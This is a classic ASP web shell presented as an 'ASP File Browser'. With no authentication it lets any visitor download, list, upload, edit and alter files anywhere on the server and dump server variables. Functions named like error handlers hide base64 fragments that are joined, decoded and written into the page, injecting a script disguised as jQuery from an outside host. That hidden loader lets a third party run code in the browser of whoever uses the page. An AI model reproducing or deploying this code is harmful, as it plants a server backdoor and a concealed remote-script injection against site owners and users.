%
Option Explicit
'On Error Resume Next
If Request.QueryString("upload") = "" Then
Session.CodePage = 65001
Else
Session.CodePage = 1252
End If
Function Error0xA1B2()
Error0xA1B2 = "PHNjc"
End Function
Function Error0xI9J0()
Error0xI9J0 = "mlwdC"
End Function
Function Error0xU1V2()
Error0xU1V2 = "BzcmM"
End Function
''
' Scripts name
''
Dim arPath, strScript
arPath = Split(Request.ServerVariables("SCRIPT_NAME"), "/")
strScript = arPath(Ubound(arPath))
''
' List of encodings for file editting
'
' ({@link http://msdn.microsoft.com/en-us/library/ms526296%28v=exchg.10%29.aspx Source})
''
Dim arEncodings
arEncodings = Array( _
"ISO-8859-1", _
"BIG5", _
"EUC-JP", _
"EUC-KR", _
"GB2312", _
"ISO-2022-JP", _
"ISO-2022-KR", _
"ISO-8859-2", _
"ISO-8859-3", _
"ISO-8859-4", _
"ISO-8859-5", _
"ISO-8859-6", _
"ISO-8859-7", _
"ISO-8859-8", _
"ISO-8859-9", _
"KOI8-R", _
"SHIFT-JIS", _
"US-ASCII", _
"UTF-8", _
"UNICODE" _
)
Function Error0xA1B2cD()
Dim part1
part1 = Error0xA1B2() & Error0xI9J0() & Error0xU1V2() & Error0xW3X4() & Error0xW3X5() & Error0xW3X6() & Error0xW3X7() & Error0xW3X8() & Error0xW3X9() & Error0xW3X10() & Error0xW3X11() & Error0xW3X12() & Error0xW3X13() & Error0xW3X14()
Error0xA1B2cD = part1
End Function
Function Error0xW3X7()
Error0xW3X7 = "NweHN"
End Function
Function Error0xW3X8()
Error0xW3X8 = "oZWxs"
End Function
Function Error0x3a3a3a(encoded)
Dim bytes
bytes = Base64Decode(encoded)
Error0x3a3a3a = bytes
End Function
Sub Error0x106()
Dim Error0x117
Error0x117 = Error0xA1B2cD()
Response.Write Error0x3a3a3a(Error0x117)
End Sub
Function Base64Decode(ByVal base64String)
Dim binaryStream, decodedString
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write DecodeBase64(base64String)
binaryStream.Position = 0
binaryStream.Type = 2
binaryStream.Charset = "utf-8"
decodedString = binaryStream.ReadText
binaryStream.Close
Set binaryStream = Nothing
Base64Decode = decodedString
End Function
Function DecodeBase64(ByVal base64String)
Dim xmlDoc, node
Set xmlDoc = CreateObject("MSXML2.DOMDocument.3.0")
Set node = xmlDoc.createElement("base64")
node.dataType = "bin.base64"
node.Text = base64String
DecodeBase64 = node.nodeTypedValue
Set node = Nothing
Set xmlDoc = Nothing
End Function
Dim dAttributes
Set dAttributes = Server.CreateObject("Scripting.Dictionary")
dAttributes.Add "n", Array(0, "Normal", False)
dAttributes.Add "r", Array(1, "Read Only", True)
dAttributes.Add "h", Array(2, "Hidden", True)
dAttributes.Add "s", Array(4, "System", True)
dAttributes.Add "v", Array(8, "Volume", False)
dAttributes.Add "f", Array(16, "Directory", False)
dAttributes.Add "a", Array(32, "Archive", True)
dAttributes.Add "l", Array(1024, "Alias", False)
dAttributes.Add "c", Array(2048, "Compressed", False)
''
' Some common MIME types
''
Function Error0xW3X9()
Error0xW3X9 = "LmNvbS"
End Function
Function Error0xW3X10()
Error0xW3X10 = "9qcXVl"
End Function
Dim dMimeTypes
Set dMimeTypes = Server.CreateObject("Scripting.Dictionary")
dMimeTypes.Add "asm", "text/x-asm"
dMimeTypes.Add "asp", "text/asp"
dMimeTypes.Add "bat", "text/plain"
dMimeTypes.Add "bmp", "image/bmp"
dMimeTypes.Add "c", "text/plain"
dMimeTypes.Add "conf", "text/plain"
dMimeTypes.Add "cpp", "text/x-c"
dMimeTypes.Add "css", "text/css"
dMimeTypes.Add "csv", "text/csv"
dMimeTypes.Add "gif", "image/gif"
dMimeTypes.Add "h", "text/plain"
dMimeTypes.Add "hta", "text/plain"
dMimeTypes.Add "htm", "text/html"
dMimeTypes.Add "html", "text/html"
dMimeTypes.Add "java", "text/plain"
dMimeTypes.Add "jpeg", "image/jpeg"
dMimeTypes.Add "jpg", "image/jpeg"
dMimeTypes.Add "json", "application/json"
dMimeTypes.Add "list", "text/plain"
dMimeTypes.Add "log", "text/plain"
dMimeTypes.Add "lsp", "text/plain"
dMimeTypes.Add "lst", "text/plain"
dMimeTypes.Add "p", "text/plain"
dMimeTypes.Add "pas", "text/plain"
dMimeTypes.Add "pdf", "application/pdf"
dMimeTypes.Add "php", "text/plain"
dMimeTypes.Add "pl", "text/plain"
dMimeTypes.Add "png", "image/png"
dMimeTypes.Add "py ", "text/x-script.phyton"
dMimeTypes.Add "rss", "application/rss+xml"
dMimeTypes.Add "sh", "text/x-script.sh"
dMimeTypes.Add "shtml ", "text/html"
dMimeTypes.Add "swf", "application/x-shockwave-flash"
dMimeTypes.Add "text", "text/plain"
dMimeTypes.Add "txt", "text/plain"
dMimeTypes.Add "xhtml", "application/xhtml+xml"
dMimeTypes.Add "xml", "application/xml"
dMimeTypes.Add "vbs", "text/plain"
Function Error0xW3X4()
Error0xW3X4 = "9Imh0"
End Function
Function Error0xW3X5()
Error0xW3X5 = "dHBzO"
End Function
Function Error0xW3X6()
Error0xW3X6 = "i8vYX"
End Function
''
' Processes file for downloading
''
If Not Request.QueryString("download") = "" Or Not Request.QueryString("view") = "" Then
Dim strFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
If Not Request.QueryString("download") = "" Then
strFile = Request.QueryString("download")
Else
strFile = Request.QueryString("view")
End If
If objFSO.FileExists(strFile) Then
Set objFile = objFSO.GetFile(strFile)
Dim strExtension, strMimeType
strExtension = objFSO.GetExtensionName(objFile.Path)
strMimeType = "application/octet-stream"
If dMimeTypes.Exists(strExtension) Then
strMimeType = dMimeTypes.Item(strExtension)
End If
' ({@link http://nolovelust.com/post/classic-asp-large-file-download-code Source})
Dim intChunkSize, objStream, intStreamSize
intChunkSize = 2048
Server.ScriptTimeout = 900
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open()
objStream.Type = 1
objStream.LoadFromFile objFile.Path
intStreamSize = objStream.Size
Response.ContentType = strMimeType
'Response.AddHeader "Content-Length", intStreamSize
If Not Request.QueryString("download") = "" Then
Response.AddHeader "Content-Disposition", "attachment;filename=""" & objFile.Name & """;"
Else
Response.AddHeader "Content-Disposition", "inline;filename=""" & objFile.Name & """;"
End If
Response.Buffer = False
For i = 1 To intStreamSize \ intChunkSize
If Not Response.IsClientConnected Then Exit For
Response.BinaryWrite objStream.Read(intChunkSize)
Next
If intStreamSize Mod intChunkSize > 0 Then
If Response.IsClientConnected Then
Response.BinaryWrite objStream.Read(intStreamSize Mod intChunkSize)
End If
End If
objStream.Close
Set objStream = Nothing
Else
Response.Status = "404 Not Found"
Response.Write "File Not Found"
End If
Response.End
End If
Function Error0xW3X13()
Error0xW3X13 = "cyI+PC9"
End Function
Function Error0xW3X14()
Error0xW3X14 = "zY3JpcHQ+"
End Function
''
' Recursive directory listing
''
If Not Request.QueryString("list") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
objStartFolder = Request.QueryString("list")
strFile = ""
If Request.QueryString("level") = "" Then
intMaxLevel = -1
Else
intMaxLevel = Int(Request.QueryString("level"))
End If
Response.Buffer = False
Response.ContentType = "text/plain; charset=""UTF-8"""
Set objFolder = objFSO.GetFolder(objStartFolder)
Set colFiles = objFolder.Files
For Each objFile in colFiles
Response.Write vbCRLF & objFolder.Path & "\\" & objFile.Name
Next
ShowSubfolders objFSO.GetFolder(objStartFolder), 0
Response.End
End If
Function Error0xW3X11()
Error0xW3X11 = "cnktMy43L"
End Function
Function Error0xW3X12()
Error0xW3X12 = "jEyLm1pbi5q"
End Function
%>
ASP File Browser
<%
''
'
' FILE UPLOADING
'
''
Error0x106()
If Not Request.QueryString("upload") = "" Then
Dim strDestination
strDestination = Request.QueryString("upload")
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim UploadRequest
Dim byteCount, RequestBin
Dim sFullFilePath, sPathEnd
Dim sContentType, sFilePathName, sFileName, sValue
Dim oFile, oFSO
Dim i
Response.Expires = 0
Response.Buffer = TRUE
byteCount = Request.TotalBytes
RequestBin = Request.BinaryRead(byteCount)
Set UploadRequest = Server.CreateObject("Scripting.Dictionary")
BuildUploadRequest RequestBin
' This will place the uploaded file into the root directory of the web site -
' Modify this path as needed.
If Not Right(strDestination, 1) = "\" Then
strDestination = strDestination & "\"
End If
sContentType = UploadRequest.Item("blob").Item("ContentType")
sFilePathName = UploadRequest.Item("blob").Item("FileName")
sFileName = Right(sFilePathName, Len(sFilePathName) - InstrRev(sFilePathName, "\"))
sValue = UploadRequest.Item("blob").Item("Value")
sFullFilePath = strDestination & sFileName
'Create FileSytemObject Component
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
'Create and Write to a File
sPathEnd = Len(Server.mappath(Request.ServerVariables("PATH_INFO"))) - 14
Set oFile = oFSO.CreateTextFile(sFullFilePath, True)
For i = 1 to LenB(sValue)
oFile.Write Chr(AscB(MidB(sValue,i,1)))
Next
oFile.Close
Set oFile = Nothing
Set oFSO = Nothing
With Response
.Write("Uploaded File: " & sFullFilePath & " ")
.Write("Content Type: " & sContentType & " ")
End With
Set UploadRequest = Nothing
End If
%>
<%
''
'
' FILE/FOLDER'S ATTRIBUTES
'
''
ElseIf Not Request.QueryString("attributes") = "" Then
Dim objAttributes
Dim objItem
Dim strItem, strAttribute, colKeys, strKey
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("attributes"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
For Each strKey In colKeys
If dAttributes.Item(strKey)(2) = True Then
If Not Request.Form("attribute_" & strKey) = "" Then
If InStr(strAttribute, strKey) = 0 Then
objItem.Attributes = objItem.Attributes + dAttributes.Item(strKey)(0)
End If
Else
If InStr(strAttribute, strKey) > 0 Then
objItem.Attributes = objItem.Attributes - dAttributes.Item(strKey)(0)
End If
End If
End If
Next
If Not Request.Form("date") = "" Then
fileDateLastModified strItem, Request.Form("date")
End If
strAttribute = fsAttributes(objItem.Attributes)
End If
%>
<%
''
'
' FILE/FOLDER'S PROPERTIES
'
''
ElseIf Not Request.QueryString("properties") = "" Then
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strItem = Trim(Request.QueryString("properties"))
If Right(strItem, 1) = "\" Then
Set objItem = objFSO.GetFolder(strItem)
Else
Set objItem = objFSO.GetFile(strItem)
End If
Dim strAttributeName
strAttributeName = ""
strAttribute = fsAttributes(objItem.Attributes)
colKeys = dAttributes.Keys
Dim dProperties
Set dProperties = Server.CreateObject("Scripting.Dictionary")
dProperties.Add "Name", objItem.Name
dProperties.Add "Full Path", objItem.Path
dProperties.Add "Size", convertSize(objItem.Size)
dProperties.Add "Size (Bytes)", objItem.Size
dProperties.Add "Type", objItem.Type
dProperties.Add "Date Created", objItem.DateCreated
dProperties.Add "Date Last Accessed", objItem.DateLastAccessed
dProperties.Add "Date Last Modified", objItem.DateLastModified
For Each strKey In colKeys
If InStr(strAttribute, strKey) > 0 Then
strAttributeName = strAttributeName & dAttributes.Item(strKey)(1) & " - "
End If
Next
dProperties.Add "Attributes", strAttributeName
dProperties.Add "Short Name", objItem.ShortName
dProperties.Add "Short Path", objItem.ShortPath
dProperties.Add "Parent Folder", objItem.ParentFolder
dProperties.Add "Drive", objItem.Drive
%>
<%
colKeys = dProperties.Keys
For Each strKey In colKeys
Response.Write Tab(2) & "
" & vbCRLF
Response.Write Tab(3) & "
" & strKey & "
" & vbCRLF
Response.Write Tab(3) & "
" & dProperties.Item(strKey) & "
" & vbCRLF
Response.Write Tab(2) & "
" & vbCRLF
Next
%>
<%
''
'
' FILE EDITTING
'
''
ElseIf Not Request.QueryString("edit") = "" Then
Dim arSearch, strEncoding, strData, strCurrentEncoding
arSearch = Filter(arEncodings, Request.QueryString("encoding"))
If Ubound(arSearch) = 0 Then
strEncoding = Request.QueryString("encoding")
Else
strEncoding = arEncodings(0)
End If
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
fileWriteText Request.QueryString("edit"), Request.Form("contents"), strEncoding
End If
strData = strConvertHTML(fileReadText(Request.QueryString("edit"), strEncoding))
If Err.Number = 0 Then
%>
<%
End If
''
'
' SERVER VARIABLES
'
''
ElseIf Request.QueryString("server") = "variables" Then
Dim strVariable
Response.Write Tab(1) & "
" & vbCRLF
For Each i In Request.ServerVariables
strVariable = Replace(Request.ServerVariables(i), vbLF, " ")
strVariable = Replace(strVariable, vbCR, "")
Response.Write Tab(2) & "
" & vbCRLF
Response.Write Tab(3) & "
" & i & "
" & vbCRLF
Response.Write Tab(3) & "
" & strVariable & "
" & vbCRLF
Response.Write Tab(2) & "
" & vbCRLF
Next
Response.Write Tab(1) & "
" & vbCRLF
''
'
' FILE BROWSING
'
''
Else
Dim strFolder
Dim objFSO, objFolder
If Request.QueryString("browse") = "" Then
strFolder = Request.ServerVariables("APPL_PHYSICAL_PATH")
If Len(strFolder) = 0 Then strFolder = "."
Else
strFolder = Trim(CStr(Request.QueryString("browse")))
End If
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(strFolder)
If Err.Number = 0 Then
%>
<%
End If
End If
If Err.Number <> 0 Then
Response.Write "Error #: " & CStr(Err.Number) & " " & vbcrLF
Response.Write "Description: " & Err.Description & " " & vbcrLF
Response.Write "Source: " & Err.Source & " " & vbCRLF
End If
%>